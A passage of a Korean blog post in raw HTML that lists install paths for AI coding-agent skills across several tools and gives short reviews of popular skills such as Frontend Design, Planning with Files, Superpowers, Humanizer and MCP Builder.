&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;프로젝트 설치 경로&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.claude/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.claude/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Codex CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.agents/skills/&lt;/code&gt; &lt;span style=&quot;color: #6c757d;&quot;&gt;(권장)&lt;/span&gt;&lt;br /&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.codex/skills/&lt;/code&gt; &lt;span style=&quot;color: #dc3545;&quot;&gt;(레거시)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gemini CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.gemini/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cursor&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.cursor/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.cursor/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Windsurf&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.codeium/windsurf/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GitHub Copilot&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.copilot/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.copilot/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenCode&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;~/.config/opencode/skills/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0; margin: 10px 0 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; 경로 표기 안내&lt;/b&gt;: 플랫폼별 경로는 각 클라이언트 구현체 코드 기반 수치이며, 공식 표준 문서(agentskills.io)는 &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.&lt;wbr /&gt;&amp;lt;client&amp;gt;/skills/&lt;/code&gt; 패턴만 명시한다. 실제 경로는 버전에 따라 다를 수 있으므로 각 도구 공식 문서에서 확인하자. 참고로, &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.claude/skills/&lt;/code&gt;는 관행적으로 널리 사용되는 경로이나, agentskills.io 공식 표준은 &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.agents/skills/&lt;/code&gt;이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;크로스플랫폼 표준 경로: ~/.agents/skills/&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 AI 에이전트를 동시에 사용하는 개발자라면 매번 각각 경로에 복사해야 하는 번거로움이 있다. 이를 해결하기 위한 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;크로스플랫폼 표준 경로&lt;/b&gt;&lt;/span&gt;가 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;표준 크로스플랫폼 경로&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;전역&lt;/b&gt;: &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.agents/skills/&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;프로젝트&lt;/b&gt;: &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;.agents/skills/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex CLI는 &lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;~/.agents/skills/&lt;/code&gt;를 스캔 경로로 지원하며, 다른 플랫폼들도 이 경로를 점차 지원하는 방향으로 이동 중이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 실용적인 방법은 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 14px;&quot;&gt;~/.agents/skills/&lt;/code&gt;에 스킬을 저장하고, 각 에이전트별 디렉토리에는 심볼릭 링크(symlink)를 거는 방식이다.&lt;/p&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;# 표준 경로에 스킬 보관
mkdir -p ~/.agents/skills/my-skill

# Claude Code용 심볼릭 링크
ln -s ~/.agents/skills/my-skill ~/.claude/skills/my-skill

# Cursor용 심볼릭 링크
ln -s ~/.agents/skills/my-skill ~/.cursor/skills/my-skill

# npx skills CLI 사용 (자동으로 경로 처리)
npx skills add my-skill&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 주목할 스킬들&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 반응이 좋고 실용성이 검증된 스킬들을 골라 소개한다. GitHub 스타 수는 모두 &lt;b&gt;2026-03-16 기준&lt;/b&gt;이며, 이후 변동될 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Frontend Design --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1. Frontend Design &amp;mdash; &quot;AI 티&quot; 없애기&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/anthropics/skills&quot;&gt;github.com/anthropics/skills&lt;/a&gt; (전체 94,479)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;제작&lt;/b&gt;: Anthropic 공식&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTzJUx/dJMcac3AQCs/PcBlJ9jpiLFXLBNV7GLxRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTzJUx/dJMcac3AQCs/PcBlJ9jpiLFXLBNV7GLxRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTzJUx/dJMcac3AQCs/PcBlJ9jpiLFXLBNV7GLxRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTzJUx%2FdJMcac3AQCs%2FPcBlJ9jpiLFXLBNV7GLxRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2034&quot; height=&quot;1110&quot; data-origin-width=&quot;2034&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 생성한 UI를 보면 금방 알아볼 수 있다. Inter 폰트, 파란색 그라디언트, 카드 UI의 과다 사용... Frontend Design 스킬은 이런 패턴을 명시적으로 금지하고, 독창적인 디자인을 유도한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;금지 폰트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Inter, Roboto, Arial, system fonts, Space Grotesk &amp;mdash; &quot;기본값으로 보이는&quot; 폰트 전체 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;금지 색상 패턴&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;흰 배경 위 보라색 그라디언트 &amp;mdash; AI 생성 UI의 가장 흔한 패턴&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;선택 가능한 디자인 방향&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;brutalist/raw&lt;/b&gt;: 거친 날것 그대로의 웹 디자인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;retro-futuristic&lt;/b&gt;: 복고풍 미래 감성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;organic/natural&lt;/b&gt;: 자연스럽고 유기적인 형태&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;luxury/refined&lt;/b&gt;: 고급스럽고 세련된 스타일&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;playful/toy-like&lt;/b&gt;: 장난감 같은 귀여운 감성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;editorial/magazine&lt;/b&gt;: 잡지풍 레이아웃&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;art deco/geometric&lt;/b&gt;: 기하학적 아르데코&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;soft/pastel&lt;/b&gt;: 부드럽고 파스텔한 색감&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;industrial/utilitarian&lt;/b&gt;: 산업적이고 실용주의적&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;brutally minimal&lt;/b&gt;: 극단적 미니멀리즘 &amp;mdash; 장식 0, 기능만&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;maximalist chaos&lt;/b&gt;: 과잉이 미학인 맥시멀리즘&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- Planning with Files --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2. Planning with Files &amp;mdash; Manus 스타일 파일 기반 작업 계획&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/OthmanAdi/planning-with-files&quot;&gt;github.com/OthmanAdi/planning-with-files&lt;/a&gt; 16,151&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버전&lt;/b&gt;: v2.18.2, 96.7% pass rate &lt;span style=&quot;color: #6c757d; font-size: 12px;&quot;&gt;(출처: GitHub README)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지원 플랫폼&lt;/b&gt;: 16개&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Manus가 사용하는 방식에서 영감을 받은 스킬이다. 핵심 아이디어는 간단하다: &lt;b&gt;Context Window = RAM, Filesystem = Disk&lt;/b&gt;. AI 에이전트가 작업 계획과 진행 상황을 파일에 저장해두면, 컨텍스트가 초기화되더라도 파일을 읽어 이어서 작업을 계속할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;생성되는 파일&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;task_plan.md&lt;/code&gt;: 전체 작업 계획 및 단계 분해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;findings.md&lt;/code&gt;: 조사/리서치 결과 누적 저장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 13px;&quot;&gt;progress.md&lt;/code&gt;: 현재까지의 진행 상황 추적&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;내장 Hooks (3종)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;PreToolUse, PostToolUse, Stop &amp;mdash; 워크플로우 각 단계에서 자동으로 파일 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- Superpowers --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3. Superpowers &amp;mdash; 7단계 개발 워크플로우 올인원&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/obra/superpowers&quot;&gt;github.com/obra/superpowers&lt;/a&gt; 86,879&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;포함 스킬&lt;/b&gt;: 14개 (Chrome DevTools Protocol 포함 시 별도 저장소: obra/superpowers-chrome 204)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 코딩 에이전트를 위한 완전한 개발 워크플로우를 제공하는 스킬 모음이다. 단순한 &quot;코드 짜줘&quot; 수준을 넘어, brainstorming부터 최종 마무리까지 7단계를 구조화한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7단계 워크플로우&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;brainstorming&lt;/b&gt;: 접근 방식 탐색 및 아이디어 발산&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;git-worktrees&lt;/b&gt;: 병렬 개발을 위한 Git 워크트리 활용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;writing-plans&lt;/b&gt;: 구체적인 구현 계획 수립&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;executing-plans&lt;/b&gt;: 계획 실행 및 구현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;TDD&lt;/b&gt;: 테스트 주도 개발 패턴 적용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;code-review&lt;/b&gt;: 코드 품질 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;finishing&lt;/b&gt;: 최종 점검 및 정리&lt;/li&gt;
&lt;/ol&gt;
&lt;!-- Humanizer --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4. Humanizer &amp;mdash; AI 문체 제거기&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/blader/humanizer&quot;&gt;github.com/blader/humanizer&lt;/a&gt; 9,423&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;: Wikipedia &quot;Signs of AI writing&quot; 가이드 기반&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한국어 버전&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/devswha/oh-my-humanizer&quot;&gt;devswha/oh-my-humanizer&lt;/a&gt; 23&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 작성한 글에는 특유의 패턴이 있다. Humanizer는 이 패턴들을 구체적으로 정의하고 제거하는 스킬이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;제거 대상 주요 AI 패턴 (아래 6가지 포함, 전체 목록은 원본 저장소 참조)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;과도한 의미 부여&lt;/b&gt;: 중요성&amp;middot;레거시&amp;middot;더 큰 트렌드를 지나치게 강조하는 패턴&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;promotional language&lt;/b&gt;: 마케팅 문구 같은 홍보성 표현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;vague attributions&lt;/b&gt;: &quot;전문가들에 따르면&quot;, &quot;연구 결과&quot; 같은 출처 불명 표현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;em dash overuse&lt;/b&gt;: em dash(&amp;mdash;) 남용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;rule of three&lt;/b&gt;: 세 가지를 나열하는 패턴 남용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;AI vocabulary&lt;/b&gt;: &quot;delve into&quot;, &quot;tapestry&quot;, &quot;nuance&quot; 같은 AI 특유 단어&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한국어 사용자 참고&lt;/b&gt;: 한국어 버전인 &lt;a style=&quot;color: #721c24;&quot; href=&quot;https://github.com/devswha/oh-my-humanizer&quot;&gt;devswha/oh-my-humanizer&lt;/a&gt;는 현재 23으로 규모는 작지만, 한국어 AI 문체 패턴을 제거하는 데 특화되어 있다. 영어 원본 스킬과 함께 참고해볼 만하다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- MCP Builder --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5. MCP Builder &amp;mdash; MCP 서버 개발 가이드&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/anthropics/skills&quot;&gt;github.com/anthropics/skills&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;제작&lt;/b&gt;: Anthropic 공식&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP(Model Context Protocol) 서버를 직접 개발하고 싶은 사람을 위한 스킬이다. 설계 원칙부터 구현, 테스트까지 4단계로 안내한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Planning&lt;/b&gt;: MCP 서버의 목적과 노출할 도구/리소스 설계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Implementation&lt;/b&gt;: 실제 서버 코드 구현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Review &amp;amp; Test&lt;/b&gt;: MCP Inspector를 활용한 테스트 방법 가이드 포함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;Evaluation&lt;/b&gt;: 품질 기준 검토 및 배포 준비&lt;/li&gt;
&lt;/ol&gt;
&lt;!-- Dev-Browser / Superpowers-Chrome --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 30px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6. Superpowers-Chrome &amp;mdash; 브라우저 자동화&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저장소&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/obra/superpowers-chrome&quot;&gt;github.com/obra/superpowers-chrome&lt;/a&gt; 204&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기술&lt;/b&gt;: Chrome DevTools Protocol (CDP) 기반&lt;/p&gt;
&lt;/div&gt;
